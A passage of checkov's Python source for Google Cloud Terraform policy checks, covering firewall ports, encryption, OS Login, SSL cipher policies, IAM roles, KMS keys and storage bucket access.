from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class GoogleComputeDiskEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK)" id = "CKV_GCP_37" supported_resources = ['google_compute_disk'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'disk_encryption_key' def get_expected_value(self): return ANY_VALUE check = GoogleComputeDiskEncryption() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class GoogleComputeExternalIP(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that Compute instances do not have public IP addresses" id = "CKV_GCP_40" supported_resources = ['google_compute_instance', 'google_compute_instance_template', 'google_compute_instance_from_template'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if 'source_instance_template' in conf.keys() and 'network_interface' not in conf.keys(): # if the source_instance_template value is there (indicating a google_compute_instance_from_template), # and the networks _interface block is not present, then this check cannot PASS, # since we don't know what the underlying source template looks like. return CheckResult.UNKNOWN else: # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present. return super().scan_resource_conf(conf) def get_inspected_key(self): return 'network_interface/[0]/access_config' def get_forbidden_values(self): return [ANY_VALUE] check = GoogleComputeExternalIP() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress20.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress PORT = 20 class GoogleComputeFirewallUnrestrictedIngress20(AbsGoogleComputeFirewallUnrestrictedIngress): def __init__(self): name = "Ensure Google compute firewall ingress does not allow on ftp port" id = "CKV_GCP_77" supported_resources = ['google_compute_firewall'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT) check = GoogleComputeFirewallUnrestrictedIngress20() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress21.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress PORT = 21 class GoogleComputeFirewallUnrestrictedIngress21(AbsGoogleComputeFirewallUnrestrictedIngress): def __init__(self): name = "Ensure Google compute firewall ingress does not allow unrestricted FTP access" id = "CKV_GCP_75" supported_resources = ['google_compute_firewall'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT) check = GoogleComputeFirewallUnrestrictedIngress21() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress22.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress PORT = 22 class GoogleComputeFirewallUnrestrictedIngress22(AbsGoogleComputeFirewallUnrestrictedIngress): def __init__(self): name = "Ensure Google compute firewall ingress does not allow unrestricted ssh access" id = "CKV_GCP_2" supported_resources = ['google_compute_firewall'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT) check = GoogleComputeFirewallUnrestrictedIngress22() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3306.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress # standard mysql port PORT = 3306 class GoogleComputeFirewallUnrestrictedIngress3306(AbsGoogleComputeFirewallUnrestrictedIngress): def __init__(self): name = "Ensure Google compute firewall ingress does not allow unrestricted mysql access" id = "CKV_GCP_88" supported_resources = ['google_compute_firewall'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT) check = GoogleComputeFirewallUnrestrictedIngress3306() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3389.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress PORT = 3389 class GoogleComputeFirewallUnrestrictedIngress3389(AbsGoogleComputeFirewallUnrestrictedIngress): def __init__(self): name = "Ensure Google compute firewall ingress does not allow unrestricted rdp access" id = "CKV_GCP_3" supported_resources = ['google_compute_firewall'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT) check = GoogleComputeFirewallUnrestrictedIngress3389() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress80.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress PORT = 80 class GoogleComputeFirewallUnrestrictedIngress80(AbsGoogleComputeFirewallUnrestrictedIngress): def __init__(self): name = "Ensure Google compute firewall ingress does not allow unrestricted http port 80 access" id = "CKV_GCP_106" supported_resources = ['google_compute_firewall'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT) check = GoogleComputeFirewallUnrestrictedIngress80() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class GoogleComputeIPForward(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that IP forwarding is not enabled on Instances" id = "CKV_GCP_36" supported_resources = ['google_compute_instance', 'google_compute_instance_template', 'google_compute_instance_from_template'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if 'source_instance_template' in conf.keys() and 'can_ip_forward' not in conf.keys(): # if the source_instance_template value is there (indicating a google_compute_instance_from_template), # and can_ip_forward is not present, then this check cannot PASS, since we don't know what the # underlying source template looks like. return CheckResult.UNKNOWN else: # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present. return super().scan_resource_conf(conf) def get_inspected_key(self): return 'can_ip_forward' def get_forbidden_values(self): return [True] def get_excluded_key(self): return "name" def check_excluded_condition(self, value): if not isinstance(value, str): return False return value.startswith('gke-') check = GoogleComputeIPForward() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class GoogleComputeInstanceOSLogin(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure that no instance in the project overrides the project setting for enabling OSLogin" \ "(OSLogin needs to be enabled in project metadata for all instances)" id = "CKV_GCP_34" supported_resources = ['google_compute_instance', 'google_compute_instance_template', 'google_compute_instance_from_template'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if ('source_instance_template' in conf.keys() and 'metadata' not in conf.keys()) or \ ('source_instance_template' in conf.keys() and isinstance(conf['metadata'][0], dict) and 'enable-oslogin' not in conf['metadata'][0].keys()): # if the source_instance_template value is there (indicating a google_compute_instance_from_template), # and enable-oslogin is not present, then this check cannot PASS, since we don't know what the # underlying source template looks like. return CheckResult.UNKNOWN else: # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present. return super().scan_resource_conf(conf) def get_inspected_key(self): return 'metadata/[0]/enable-oslogin' def get_forbidden_values(self): return [False] check = GoogleComputeInstanceOSLogin() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeProjectOSLogin.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class GoogleComputeProjectOSLogin(BaseResourceValueCheck): def __init__(self): name = "Ensure oslogin is enabled for a Project" id = "CKV_GCP_33" supported_resources = ['google_compute_project_metadata'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'metadata/[0]/enable-oslogin' def get_expected_value(self): return "TRUE" check = GoogleComputeProjectOSLogin() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeSSLPolicy.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class GoogleComputeSSLPolicy(BaseResourceCheck): def __init__(self): name = "Ensure no HTTPS or SSL proxy load balancers permit SSL policies with weak cipher suites" id = "CKV_GCP_4" supported_resources = ['google_compute_ssl_policy'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ https://www.terraform.io/docs/providers/google/r/compute_ssl_policy.html :param conf: google_compute_ssl_policy configuration :return: """ if 'profile' in conf.keys(): self.evaluated_keys = ['profile'] if conf['profile'][0] == 'RESTRICTED': return CheckResult.PASSED elif conf['profile'][0] == 'MODERN': if 'min_tls_version' in conf.keys(): self.evaluated_keys.append('min_tls_version') if conf['min_tls_version'][0] == "TLS_1_2": return CheckResult.PASSED elif conf['profile'][0] == 'CUSTOM': self.evaluated_keys.append('custom_features') if not any(item in conf['custom_features'][0] for item in ['TLS_RSA_WITH_AES_128_GCM_SHA256', 'TLS_RSA_WITH_AES_256_GCM_SHA384', 'TLS_RSA_WITH_AES_128_CBC_SHA', 'TLS_RSA_WITH_AES_256_CBC_SHA', 'TLS_RSA_WITH_3DES_EDE_CBC_SHA']): return CheckResult.PASSED return CheckResult.FAILED check = GoogleComputeSSLPolicy() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class GoogleComputeSerialPorts(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure 'Enable connecting to serial ports' is not enabled for VM Instance" id = "CKV_GCP_35" supported_resources = ['google_compute_instance', 'google_compute_instance_template', 'google_compute_instance_from_template'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if ('source_instance_template' in conf.keys() and 'metadata' not in conf.keys()) or \ ('source_instance_template' in conf.keys() and isinstance(conf['metadata'][0], dict) and 'serial-port-enable' not in conf['metadata'][0].keys()): # if the source_instance_template value is there (indicating a google_compute_instance_from_template), # and serial-port-enable is not present, then this check cannot PASS, since we don't know what the # underlying source template looks like. return CheckResult.UNKNOWN else: # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present. return super().scan_resource_conf(conf) def get_inspected_key(self): return 'metadata/[0]/serial-port-enable' def get_forbidden_values(self): return [True] check = GoogleComputeSerialPorts() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class GoogleComputeShieldedVM(BaseResourceCheck): def __init__(self): name = "Ensure Compute instances are launched with Shielded VM enabled" id = "CKV_GCP_39" supported_resources = ['google_compute_instance', 'google_compute_instance_template', 'google_compute_instance_from_template'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Shielded VM can only be used with boot images with shielded VM support. See the complete list of supporting images here: https://cloud.google.com/compute/docs/images#shielded-images :param conf: :return: """ if 'source_instance_template' in conf.keys() and 'shielded_instance_config' not in conf.keys(): # if the source_instance_template value is there (indicating a google_compute_instance_from_template), # and shielded_instance_config is not present, then this check cannot FAIL, since we don't know what the # underlying source template looks like. return CheckResult.UNKNOWN if 'shielded_instance_config' in conf.keys(): self.evaluated_keys = ['shielded_instance_config', 'shielded_instance_config/[0]/enable_vtpm', 'shielded_instance_config/[0]/enable_integrity_monitoring'] if 'enable_vtpm' in conf['shielded_instance_config'][0] and \ not conf['shielded_instance_config'][0]['enable_vtpm'][0]: self.evaluated_keys = ['shielded_instance_config/[0]/enable_vtpm'] return CheckResult.FAILED if 'enable_integrity_monitoring' in conf['shielded_instance_config'][0] and \ not conf['shielded_instance_config'][0]['enable_integrity_monitoring'][0]: self.evaluated_keys = ['shielded_instance_config/[0]/enable_integrity_monitoring'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = GoogleComputeShieldedVM() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleBasicRoles import AbsGoogleBasicRoles class GoogleFolderBasicRoles(AbsGoogleBasicRoles): def __init__(self) -> None: name = "Ensure basic roles are not used at folder level." id = "CKV_GCP_116" supported_resources = ('google_folder_iam_member', 'google_folder_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleFolderBasicRoles() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleImpersonationRoles import AbsGoogleImpersonationRoles class GoogleFolderImpersonationRoles(AbsGoogleImpersonationRoles): def __init__(self) -> None: name = "Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level" id = "CKV_GCP_44" supported_resources = ('google_folder_iam_member', 'google_folder_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleFolderImpersonationRoles() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleIAMMemberDefaultServiceAccount import AbsGoogleIAMMemberDefaultServiceAccount class GoogleFolderMemberDefaultServiceAccount(AbsGoogleIAMMemberDefaultServiceAccount): def __init__(self) -> None: name = "Ensure Default Service account is not used at a folder level" id = "CKV_GCP_48" supported_resources = ('google_folder_iam_member', 'google_folder_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleFolderMemberDefaultServiceAccount() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleIAMWorkloadIdentityConditional.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class GoogleIAMWorkloadIdentityConditional(BaseResourceValueCheck): def __init__(self): """ A configuration for an external workload identity pool provider should have conditions set. In GitHub Actions, one can authenticate to Google Cloud by setting values for workload_identity_provider and service_account and requesting a short-lived OIDC token which is then used to execute commands as that Service Account. If you don't specify a condition in the workload identity provider pool configuration, then any GitHub Action can assume this role and act as that Service Account. This can be checked in Terraform configs by looking at whether a google_iam_workload_identity_pool_provider has the attribute_condition field set. Link: https://www.revblock.dev/exploiting-misconfigured-google-cloud-service-accounts-from-github-actions/ """ name = "Ensure IAM workload identity pool provider is restricted" id = "CKV_GCP_118" supported_resources = ['google_iam_workload_identity_pool_provider'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'attribute_condition' def get_expected_value(self): return ANY_VALUE check = GoogleIAMWorkloadIdentityConditional() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck DISALLOWED_MEMBERS = {"allUsers", "allAuthenticatedUsers"} class GoogleKMSKeyIsPublic(BaseResourceCheck): def __init__(self) -> None: """ ensure key is not publicly available KMS Crypto Key policy should not set 'allUsers' or 'allAuthenticatedUsers' in the attribute 'member'/'members' """ name = "Ensure KMS policy should not allow public access" id = "CKV_GCP_112" supported_resources = ( "google_kms_crypto_key_iam_policy", "google_kms_crypto_key_iam_binding", "google_kms_crypto_key_iam_member", ) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult: policy_data = conf.get("policy_data") if policy_data and isinstance(policy_data, list): for policy in policy_data: if not isinstance(policy, dict): continue bindings = policy.get("bindings") if bindings and isinstance(bindings, list): for binding in bindings: members = binding.get("members") if members and isinstance(members, list): for member in members: if member in DISALLOWED_MEMBERS: return CheckResult.FAILED return CheckResult.PASSED members = conf.get("members") if members and isinstance(members, list): for member in members[0]: if member in DISALLOWED_MEMBERS: return CheckResult.FAILED return CheckResult.PASSED member = conf.get("member") if member and isinstance(member, list): if member[0] in DISALLOWED_MEMBERS: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = GoogleKMSKeyIsPublic() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleKMSPreventDestroy.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class GoogleKMSPreventDestroy(BaseResourceValueCheck): def __init__(self): # "From the Provider Documentation" # CryptoKeys cannot be deleted from Google Cloud Platform.Destroying a Terraform - managed CryptoKey will remove # it from state and delete all CryptoKeyVersions, rendering the key unusable, but will not delete the resource # from the project.When Terraform destroys these keys, any data previously encrypted with these keys will be # irrecoverable.For this reason, it is strongly recommended that you add lifecycle hooks to the resource to # prevent accidental destruction. name = "Ensure KMS keys are protected from deletion" id = "CKV_GCP_82" supported_resources = ['google_kms_crypto_key'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'lifecycle/[0]/prevent_destroy' check = GoogleKMSPreventDestroy() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleKMSRotationPeriod.py ================================================ from typing import Dict, List, Any from checkov.common.util.type_forcers import force_int from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck ASYMMETRIC_KEYS = {"ASYMMETRIC_DECRYPT", "ASYMMETRIC_SIGN"} # rotation_period time unit is seconds ONE_DAY = 24 * 60 * 60 NINETY_DAYS = 90 * ONE_DAY class GoogleKMSKeyRotationPeriod(BaseResourceCheck): def __init__(self) -> None: name = "Ensure KMS encryption keys are rotated within a period of 90 days" id = "CKV_GCP_43" supported_resources = ("google_kms_crypto_key",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: purpose = conf.get("purpose") if purpose and isinstance(purpose, list) and purpose[0] in ASYMMETRIC_KEYS: # https://cloud.google.com/kms/docs/key-rotation#asymmetric # automatic key rotation is not supported for asymmetric keys return CheckResult.UNKNOWN self.evaluated_keys = ["rotation_period"] rotation = conf.get("rotation_period") if rotation and rotation[0] and isinstance(rotation[0], str): time = force_int(rotation[0][:-1]) if time and ONE_DAY <= time <= NINETY_DAYS: return CheckResult.PASSED return CheckResult.FAILED check = GoogleKMSKeyRotationPeriod() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleBasicRoles import AbsGoogleBasicRoles class GoogleOrgBasicRoles(AbsGoogleBasicRoles): def __init__(self) -> None: name = "Ensure basic roles are not used at organization level." id = "CKV_GCP_115" supported_resources = ('google_organization_iam_member', 'google_organization_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleOrgBasicRoles() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleImpersonationRoles import AbsGoogleImpersonationRoles class GoogleOrgImpersonationRoles(AbsGoogleImpersonationRoles): def __init__(self) -> None: name = "Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level" id = "CKV_GCP_45" supported_resources = ('google_organization_iam_member', 'google_organization_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleOrgImpersonationRoles() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleIAMMemberDefaultServiceAccount import AbsGoogleIAMMemberDefaultServiceAccount class GoogleOrgMemberDefaultServiceAccount(AbsGoogleIAMMemberDefaultServiceAccount): def __init__(self) -> None: name = "Ensure default service account is not used at an organization level" id = "CKV_GCP_47" supported_resources = ('google_organization_iam_member', 'google_organization_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleOrgMemberDefaultServiceAccount() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleProjectAdminServiceAccount.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories import re from typing import List USER_MANAGED_SERVICE_ACCOUNT = re.compile(r'.*@.*\.iam\.gserviceaccount\.com$') ADMIN_ROLE = re.compile('.*(.*Admin|.*admin|editor|owner)') class GoogleProjectAdminServiceAccount(BaseResourceCheck): def __init__(self): name = "Ensure that Service Account has no Admin privileges" id = "CKV_GCP_42" supported_resources = ['google_project_iam_member'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'member' in conf.keys() and re.match(USER_MANAGED_SERVICE_ACCOUNT, str(conf['member'][0])) and \ re.match(ADMIN_ROLE, str(conf['role'][0])): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['member', 'role'] check = GoogleProjectAdminServiceAccount() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleBasicRoles import AbsGoogleBasicRoles class GoogleProjectBasicRoles(AbsGoogleBasicRoles): def __init__(self) -> None: name = "Ensure basic roles are not used at project level." id = "CKV_GCP_117" supported_resources = ('google_project_iam_member', 'google_project_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleProjectBasicRoles() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleProjectDefaultNetwork.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GoogleProjectDefaultNetwork(BaseResourceValueCheck): def __init__(self): name = "Ensure that the default network does not exist in a project" id = "CKV_GCP_27" supported_resources = ['google_project'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ https://www.terraform.io/docs/providers/google/r/google_project.html :param conf: google_project configuration :return: """ return 'auto_create_network/[0]' def get_expected_value(self): return False check = GoogleProjectDefaultNetwork() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleImpersonationRoles import AbsGoogleImpersonationRoles class GoogleProjectImpersonationRoles(AbsGoogleImpersonationRoles): def __init__(self) -> None: name = "Ensure roles do not impersonate or manage Service Accounts used at project level" id = "CKV_GCP_49" supported_resources = ('google_project_iam_member', 'google_project_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleProjectImpersonationRoles() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.gcp.AbsGoogleIAMMemberDefaultServiceAccount import AbsGoogleIAMMemberDefaultServiceAccount class GoogleProjectMemberDefaultServiceAccount(AbsGoogleIAMMemberDefaultServiceAccount): def __init__(self) -> None: name = "Ensure Default Service account is not used at a project level" id = "CKV_GCP_46" supported_resources = ('google_project_iam_member', 'google_project_iam_binding') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) check = GoogleProjectMemberDefaultServiceAccount() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class GoogleRoleServiceAccountUser(BaseResourceCheck): def __init__(self): name = "Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles" \ " at project level" id = "CKV_GCP_41" supported_resources = ['google_project_iam_binding', 'google_project_iam_member'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'role' in conf.keys() and \ conf['role'][0] not in ['roles/iam.serviceAccountUser', 'roles/iam.serviceAccountTokenCreator']: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['role'] check = GoogleRoleServiceAccountUser() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class GoogleStorageBucketNotPublic(BaseResourceCheck): def __init__(self): name = "Ensure that Cloud Storage bucket is not anonymously or publicly accessible" id = "CKV_GCP_28" supported_resources = ['google_storage_bucket_iam_member', 'google_storage_bucket_iam_binding'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): members = conf.get('members', [[]])[0] members = members if isinstance(members, list) else [] member_conf = conf.get('member', []) + members if not any(member in member_conf for member in ['allUsers', 'allAuthenticatedUsers']): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['members', 'member'] check = GoogleStorageBucketNotPublic() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleStorageBucketUniformAccess.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GoogleStorageBucketUniformAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Cloud Storage buckets have uniform bucket-level access enabled" id = "CKV_GCP_29" supported_resources = ["google_storage_bucket"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "uniform_bucket_level_access" check = GoogleStorageBucketUniformAccess() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleStoragePublicAccessPrevention.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GoogleStoragePublicAccessPrevention(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure public access prevention is enforced on Cloud Storage bucket" id = "CKV_GCP_114" supported_resources = ["google_storage_bucket"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "public_access_prevention" def get_expected_value(self) -> Any: return "enforced" check = GoogleStoragePublicAccessPrevention() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleSubnetworkIPV6PrivateGoogleEnabled.py ================================================ from typing import Any, List, Dict from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck # private_ip_google_access is not supported for subnetworks with the following purpose set PURPOSE_EXCEPTIONS = ["INTERNAL_HTTPS_LOAD_BALANCER", "REGIONAL_MANAGED_PROXY", "GLOBAL_MANAGED_PROXY"] class GoogleSubnetworkIPV6PrivateGoogleEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Private google access is enabled for IPV6" id = "CKV_GCP_76" supported_resources = ("google_compute_subnetwork",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: purpose = conf.get("purpose") if purpose and isinstance(purpose, list) and purpose[0] in PURPOSE_EXCEPTIONS: return CheckResult.UNKNOWN stack = conf.get("stack_type") if not stack or (stack and isinstance(stack, list) and stack[0] != "IPV4_IPV6"): return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "private_ipv6_google_access" def get_expected_values(self) -> List[Any]: return ["ENABLE_OUTBOUND_VM_ACCESS_TO_GOOGLE", "ENABLE_BIDIRECTIONAL_ACCESS_TO_GOOGLE"] check = GoogleSubnetworkIPV6PrivateGoogleEnabled() ================================================ FILE: checkov/terraform/checks/resource/gcp/GoogleSubnetworkLoggingEnabled.py ================================================ from typing import Any, List, Dict from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories, CheckResult 